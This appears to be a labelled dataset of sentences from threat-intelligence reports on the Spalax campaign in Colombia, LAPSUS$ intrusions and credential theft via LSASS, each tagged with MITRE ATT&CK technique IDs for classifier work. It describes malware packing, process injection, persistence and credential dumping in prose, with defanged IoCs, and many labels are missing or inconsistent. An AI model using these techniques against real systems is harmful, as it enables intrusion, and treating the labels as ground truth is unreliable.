{"sentence": "The version of the packer used by the attackers is v4, although they used v2 in some cases.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Figure 18 shows the hardcoded configuration for one of their samples.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Hardcoded configuration in CyaX-Sharp packer", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption of the payload is based on XOR operations and is the same as the algorithm previously shown but with an extra step: the payload is XORed with its first 16 bytes as a key.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Once it’s decrypted, it can be run in the same address space or injected into a different process, depending on the configuration.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This packer supports various anti-analysis operations such as disabling Windows Defender, checking for security products, and detecting virtual environments and sandboxes.", "labels": ["T1518.001", "T1562.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "We saw Remcos in one of these droppers, but the code in the packer was different.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Code for the last stage of a dropper We have noticed that the configuration is contained in different variables.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Values like #startup_method# or #bind# mean that the configuration was not set for those options.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The payload is read from an encrypted resource and XORed with a hardcoded password.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The shellcode that performs the injection is contained in an array and is dynamically loaded.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There are no anti-analysis checks or protection mechanisms.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "droppers For some of their droppers, the attackers have used an AutoIt packer that comes heavily obfuscated.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Unlike the cases that were previously described, in this case the first-stage malware performs the injection and execution of the payload.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It does so by using two shellcodes contained in the compiled AutoIt script: one to decrypt the payload and another to inject it into some process.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The payload is constructed by concatenating several strings, as shown in Figure 20.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "By inspecting the last two characters, we can see that the string is in reverse order.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Concatenation of the payload The routine that decrypts the payload contains a small shellcode that is loaded with VirtualAlloc and executed.", "labels": ["T1106"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption done by the shellcode is based on a single-byte XOR algorithm.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The code that loads the shellcode is shown in Figure 21. Figure 21.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Execution of shellcode to decrypt the payload We can see that the shellcode is stored encrypted.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "In fact, before deobfuscating the script, all strings were encrypted with this same XOR-based algorithm.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The decryption routine used is shown in Figure 22. Figure 22.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "To achieve persistence, a VBS script is created to execute a copy of the dropper (which is renamed to aadauthhelper.exe).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Then an Internet Shortcut (.url) file is created in the Startup folder to execute the script.", "labels": ["T1547.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Code for persistence in AutoIt", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "droppers The dropper contains code that is not executed.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It can: Check for VMware and VirtualBox Delete the dropper executable Run the dropper continuously Download and execute files Terminate if a “Program Manager” window is found Read a binary from its resource section, write it to disk and execute it Modify the security descriptor (ACL) for the injected process For more information see this analysis by Morphisec where similar AutoIt droppers were used with Frenchy shellcode.", "labels": ["T1027", "T1070.004", "T1105"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They are: Remcos, sold online njRAT, leaked in underground forums AsyncRAT, open source There is not a one-to-one relationship between droppers and payloads, as we have seen different types of droppers running the same payload and also a single type of dropper connected to different payloads.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It can be purchased with a six-month license that includes updates and support.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "There is also a free version with limited functionalities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most of the Remcos samples used by this group are v2.5.0 Pro, but we have also seen all versions that were released since September 2019, which may indicate that the attackers bought a license after that month and have been actively using the different updates that they received during their six month license period.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Regarding njRAT, this group mostly uses v0.7.3 (also known as the Lime version).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "That version includes functionalities such as DDoS or ransomware encryption, but only spy features such as keylogging are used by the attackers.", "labels": ["T1056.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "For a more complete description of this version, refer to this 2018 article by Zscaler.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Another njRAT version used by the attackers is v0.7d (the “green edition”) which is a simpler version focused on spying capabilities: keylogging, taking screenshots, access to webcam and microphone, uploading and downloading files, and executing other binaries.", "labels": ["T1056.001", "T1105", "T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The final type of payload that we will mention is AsyncRAT.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The functionalities in this RAT are similar to those in the previously mentioned RATs, which allow attackers to spy on their victims.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Network infrastructure During our research we saw approximately 70 different domain names used for C&C in the second half of 2020.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "By pivoting on passive DNS data for IP addresses and known domain names, we found that the attackers have used at least 160 additional domain names since 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "They’ve managed to operate at such scale by using Dynamic DNS services.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This means that they have a pool of domain names (and also register new ones on a regular basis) that are dynamically assigned to IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "This way a domain name can be related to several IP addresses over a period of time and IP addresses can be related to many domain names.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most of the domain names we have seen were registered with Duck DNS, but they have also used DNS Exit for publicvm.com and linkpc.net subdomains.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Most are IP addresses related to Colombian ISPs: 60% of them are Telmex and 30% EPM Telecomunicaciones (Tigo).", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Finally, a subset of the IP addresses belongs to Powerhouse Management, a VPN service provider.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Similar findings can be found in this analysis by Lab52. Conclusion Targeted malware attacks against Colombian entities have been scaled up since the campaigns that were described last year.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "The landscape has changed from a campaign that had a handful of C&C servers and domain names to a campaign with very large and fast-changing infrastructure with hundreds of domain names used since 2019.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Even though TTPs have seen changes, not only in how malware is delivered in phishing emails but also in the RATs used, one aspect that remains the same is that the attacks are still targeted and focused on Colombian entities, both in the public and private sectors.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "It should be expected that these attacks will continue in the region for a long time, so we will keep monitoring these activities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "A comprehensive list of Indicators of Compromise (IoCs) and samples can be found in our GitHub repository.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "For any inquiries, or to make sample submissions related to the subject, contact us at threatintel@eset.com.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "MITRE ATT&CK techniques Note: This table was built using version 7 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "TacticIDNameDescription Initial AccessT1566.001Phishing:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Spearphishing LinkThe attackers have used emails with a link to download malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Visual BasicThe attackers have used droppers that dump VBS files with commands to achieve persistence.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1059.003Command and Scripting Interpreter:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "APIThe attackers have used API calls in their droppers, such as CreateProcessA, WriteProcessMemory and ResumeThread, to load and execute shellcode in memory.", "labels": ["T1106"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1204.001User Execution: Malicious LinkThe attackers have attempted to get users to open a malicious link that leads to the download of malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1204.002User Execution: Malicious FileThe attackers have attempted to get users to execute malicious files masquerading as documents. PersistenceT1547.001Boot or Logon Initialization Scripts: Registry Run Keys / Startup", "labels": ["T1204.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "FolderThe attackers have used RATs that persist by creating a Run registry key or by creating a copy of the malware in the Startup folder.", "labels": ["T1547.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1053.005Scheduled Task/Job: Scheduled TaskThe attackers have used scheduled tasks in their droppers and payloads to achieve persistence.", "labels": ["T1053.005"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Privilege EscalationT1548.002Abuse Elevation Control Mechanism: Bypass User Access ControlThe attackers have used RATs that implement UAC bypassing.", "labels": ["T1548.002"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Defense EvasionT1140Deobfuscate/Decode Files or InformationThe attackers have used various encryption algorithms in their droppers to hide strings and payloads.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1070.004Indicator Removal on Host:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "File DeletionThe attackers have used malware that deletes itself from the system.", "labels": ["T1070.004"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1112Modify RegistryThe attackers have used RATs that allow full access to the Registry, for example to clear traces of their activities.", "labels": ["T1112"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Software PackingThe attackers have used various layers of packers for obfuscating their droppers.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1027.003Obfuscated Files or Information:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1055.002Process Injection: Portable Executable InjectionThe attackers have used droppers that inject the payload into legitimate processes such as RegAsm.exe, MSBuild.exe and more.", "labels": ["T1055"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "System ChecksThe attackers have used droppers and payloads that perform anti-analysis checks to detect virtual environments and analysis tools.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs that can browse file systems.", "labels": ["T1083"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1057Process", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs with modules that show running processes.", "labels": ["T1057"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1012Query RegistryThe attackers have used various RATs that can read the Registry.", "labels": ["T1012"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1018Remote System DiscoveryThe attackers have used njRAT, which can identify remote hosts on connected networks.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1518.001Software Discovery: Security Software", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1082System Information", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DiscoveryThe attackers have used various RATs that gather system information such as computer name and operating system during the initial infection. T1016System Network Configuration DiscoveryThe attackers have used various RATs that can collect the IP address of the victim machine.", "labels": ["T1016", "T1082"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1049System Network Connections DiscoveryThe attackers have used various RATs that can list network connections on a victim’s computer.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "User DiscoveryThe attackers have used various RATs that retrieve the current username during initial infection.", "labels": ["T1033"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1091Replication", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CaptureThe attackers have used various RATs that can capture audio from the system’s microphone.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1115Clipboard", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "DataThe attackers have used various RATs that can access and modify data from the clipboard. T1005Data from Local SystemThe attackers have used various RATs that can access the local file system and upload, download or delete files.", "labels": ["T1005"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1056.001Input Capture:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "KeyloggingThe attackers have used various RATs that have keylogging capabilities.", "labels": ["T1056.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "CaptureThe attackers have used various RATs that can capture screenshots of victim machines.", "labels": ["T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1125Video", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "T1573.001Encrypted Channel:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"}
{"sentence": "Authored by: David Brown, Michael Matthews and Rob Smallridge tl;dr This post describes the techniques, tactics and procedures we observed during recent LAPSUS$ incidents.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Our findings can be summarised as below: Access and scraping of corporate Microsoft SharePoint sites in order to identify any credentials which may be stored in technical documentation.", "labels": ["T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Access to local password managers and databases to obtain further credentials and escalate privileges.", "labels": ["T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Living of the land – tools such as RVTools to shut down servers and ADExplorer to perform reconnaissance.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Cloning of git repositories and extraction of sensitive API Keys.", "labels": ["T1078", "T1552.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Summary LAPSUS$ first appeared publicly in December 2021, however, NCC Group first observed LAPSUS$ months prior during an incident response engagement.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Over the last 5 months, LAPSUS$ has gained large notoriety with some successful breaches of some large enterprises including, Microsoft, Nvidia, Okta & Samsung.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Little is still known about this group with motivations appearing to be for reputation, money and “for the lulz”.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Notifications or responsibility of victims by LAPSUS$ are commonly reported via their telegram channel and in one case a victim’s DNS records were reconfigured to LAPSUS$ controlled domains/websites.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "This tactic is potentially in response to greater home working due to the pandemic which means there is a far larger proportion of employees with VPN access and as such a greater pool of potential employees willing to sell their credentials.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "To combat this, organisations need to ensure they have extensive VPN logging capabilities, robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Initial access Threat Intelligence shows that LAPSUS$ utilise multiple methods to gain Initial access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "These cookies are usually in the form of Single sign-on (SSO) applications which would allow the attacker to pivot into other corporate applications ultimately bypassing controls such as multi-factor authentication (MFA).", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Credential access and Privilege escalation Credential Harvesting and privileged escalation are key components of the LAPSUS$ breaches we have seen, with rapid escalation in privileges the LAPSUS$ group have been seen to elevate from a standard user account to an administrative user within a couple of days.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In one case NCC Group observed LAPSUS$ using nothing more than the legitimate Sysinternals tool ADExplorer, which was used to conduct reconnaissance on the victim’s environment.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In our incident response cases, we saw the threat actor leveraging compromised employee email accounts to email helpdesk systems requesting access credentials or support to get access to the corporate VPN.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Lateral Movement In one incident LAPSUS$ were observed to sporadically move through the victim environment via RDP in an attempt to access resources deeper in the victim environment.", "labels": ["T1021.001"], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "In one particular incident the threat actor is observed to utilise the free file drop service “filetransfer[.]io”.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "The theft of data reported appears to heavily be focused on application source code or proprietary technical information.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "With a targeting of internal source code management or repository servers.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "These git repositories can contain not only commercially sensitive intellectual property, but also in some cases may include additional API keys to sensitive applications including administrative or cloud applications.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Utilise MFA for user authentication on both cloud and remote access solutions to help reduce the risk of unauthorised access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Securing source code environments to ensure that users can only access the relevant repositories.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "GitHub and Gitlab offer detection mechanisms for thisRemote Desktop services or Gateways used as a primary or secondary remote access solution should be removed from any corporate environment in favour for alternative solutions such as secured VPNs, or other Remote Desktop applications which mitigate common attack techniques such as brute force or exploitation and can offer additional security controls such as MFA and Conditional Access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Centralise logging including cloud applications (SIEM solution).Offline or immutable backups of servers should be taken to ensure that in the event of a data disruption or destruction attack, services can be restored.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Social engineering awareness training for all staff.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Indicators of Compromise Indicator ValueIndicator TypeDescription104.238.222[.]158IP", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "addressMalicious Lapsus Network Address108.61.173[.]214IP", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "addressMalicious Lapsus Network Address185.169.255[.]74IP addressMalicious Lapsus Network AddressVULTR-GUESTHostnameThreat Actor Controlled Hosthxxps://filetransfer[.]ioDomainFree", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "File Drop Service Utilised by the Threat Actor MITRE ATT&CK Technique CodeTechniqueT1482Discovery – Domain Trust DiscoveryT1018Discovery – Remote System DiscoveryT1069.002Discovery –", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Remote Desktop ProtocolT1534Lateral Movement – Internal SpearphishingT1072Execution – Software Deployment ToolsT1213.002Collection – Data from Information Repositories: SharepointT1039Collection – Data from Network Shared DriveT1213.003Collection – Data from Information Repositories: Code RepositoriesT1567Exfiltration – Exfiltration Over Web ServiceT1485Impact – Data DestructionT1529Impact – System Shutdown/Reboot References https://docs.github.com/en/code-security/secret-scanning/about-secret-scanninghttps://docs.gitlab.com/ee/user/application_security/secret_detectionhttps://www.vultr.com/", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"}
{"sentence": "Executive Summary Today, enterprises tend to use multiple layers of security defenses, ranging from perimeter defense on network entry points to host based security solutions deployed at the end user’s machines to counter the ever-increasing threats.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "This includes inline traffic filtering and management security solutions deployed at access and distribution layers in the network, as well as out of band solutions like NAC, SIEM or User Behavior Analysis to provide identity-based network access and gain more visibility into the user’s access to critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "However, layered security defenses face the major and recurring challenge of detecting newer exploitation techniques as they heavily rely on known behaviors.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Additionally, yet another significant challenge facing the enterprise network is detecting post-exploitation activities, after perimeter security is compromised.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "They will use several sophisticated techniques to perform internal reconnaissance and remote code execution on critical resources, which range from using legitimate operating system tools to discover network assets to using novel code execution techniques on the target.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, differentiating between the legitimate and malicious use of Windows’ internal tools and services becomes a high priority for enterprise networks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To tackle this long-standing problem of detecting lateral movement, enterprise networks must formulate active in-network defense strategies to effectively prevent attackers from accessing critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Detecting credential stealing attacks with deception essentially requires building the necessary infrastructure by placing the decoy systems within the same network as production assets and configuring them with decoy contents to lure the attackers towards the decoy machines and services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Some of the techniques described by MITRE Shield Matrix with respect to network deception are as below: MITRE Shield Description ATT&CK Technique Decoy Account – DTE0010 A decoy account is created for defensive or deceptive purposes.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "The decoy account can be used to make a system, service, or software look more realistic or to entice an action Account Discovery, Reconnaissance Decoy Credentials – DTE0012 Seed a target system with credentials (such as username/password, browser tokens, and other forms of authentication data) Credential Access, Privilege Escalation Decoy Diversity – DTE0013 deployment of decoy systems with varying Operating Systems and software configurations Reconnaissance Decoy Network – DTE0014 Multiple computing resources that can be used for defensive or deceptive purposes Initial Access Decoy Personna – DTE0015 Used to establish background information about a user.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In order to have the adversary believe they are operating against real targets Initial Access, Discovery, Reconnaissance Decoy System – DTE0017 Computing resources presented to the adversary in support of active defense Reconnaissance Over the course of this paper, we will discuss some of the widely adapted credential theft attacks executed by adversaries after the initial compromise and then move on to discuss defense techniques against the above MITRE Shield attacks and how to use them effectively to detect deceptive credential usage in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Network Deception – An Active in-network defensive approach Most of the targeted attacks involve stealing credentials from the system at a certain point in time as attackers would use them to pivot to other systems in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Active in-network defense strategies described by the MITRE Shield matrix are significant and play a critical role in detecting credential abuse in the network.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It involves placing decoy systems, decoy credentials and decoy contents all throughout the production network essentially converting it into a trap, playing a crucial role in mitigating the attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "More details on configuring policies and a demo are available here.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "McAfee MVISION Endpoint Detection and Response (EDR) has the capabilities to detect credential access from tools like Mimikatz.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "With McAfee MVISION EDR and ENS integration with Attivo’s network and endpoint deception sensor, McAfee can manage its agents and receive alerts for detections in ePO and EDR.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Lateral Movement – Introduction Lateral movement refers to the tools and techniques used by attackers to progressively expand their foothold within an enterprise network after gaining initial access.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As shown in the figure below, lateral movement activity comprises of several stages starting from credential theft, target enumeration and discovery, privilege escalation, gaining access to network resources and eventually remote code execution on the target before exfiltrating data to accomplish a successful attack.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Once inside the network, attackers will deploy a range of techniques at each stage of lateral movement to achieve their end goal.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "To achieve this, an attacker might choose to embed the tool within a malicious executable or use the operating system’s internal legitimate tools and services to perform its lateral movement operations, consequently making this network traffic harder to distinguish.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "As per the Verizon DBIR report 2020, over 80% of data breaches involve credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "It will usually be the first step towards lateral movement strategies which will allow attackers to elevate their privileges and acquire access to other network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 1 – Stages of Lateral movement To be able to distinguish between the admissible and malicious use of these inbuilt services, it is extremely critical for organizations to deploy advanced Threat Detection solutions.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Credential Theft Attacks Attackers use a variety of tools and techniques to execute credential theft attacks.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Operating systems like Windows implement Single Sign", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Additionally, user credentials are stored in memory in a variety of formats like NTLM hashes, reversibly encrypted plaintext, Kerberos tickets, PINs, etc., which can be used to authenticate to services depending upon the supported authentication mechanism.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Consequently, these attacks pose major security concerns, especially in the domain environment if the attacker gains access to privileged credentials which can then be reused to access critical network resources.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "In the following sections, we discuss some of the widely adapted credential stealing techniques used by malware, with respect to the Windows operating system.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Similar credential stealing techniques can also be used with other operating systems as well.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Stealing Credentials from LSASS Process Memory The Local Security Authority Subsystem Service (LSASS) process manages and stores the credentials of all the users with active Windows sessions.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "These credentials stored in the LSASS process memory will allow users to access other network resource such as files shares, email servers and other remote services without asking them for the credentials again.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "LSASS process memory stores the credentials in many formats including reversibly encrypted plaintext, NTLM hashes, Kerberos Tickets (Ticket Granting Tickets, etc.).", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Figure 2 – Checking for required privileges We can see that the NTLM hash of the user’s credentials is revealed, and this can be brute forced offline as shown below.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Instead, they use recompiled clones of it with minimal functionality to avoid noise.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
{"sentence": "Yet another approach is to dump the LSASS process memory using process dumping tools, exfiltrate the dump and extract the credentials offline.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"}
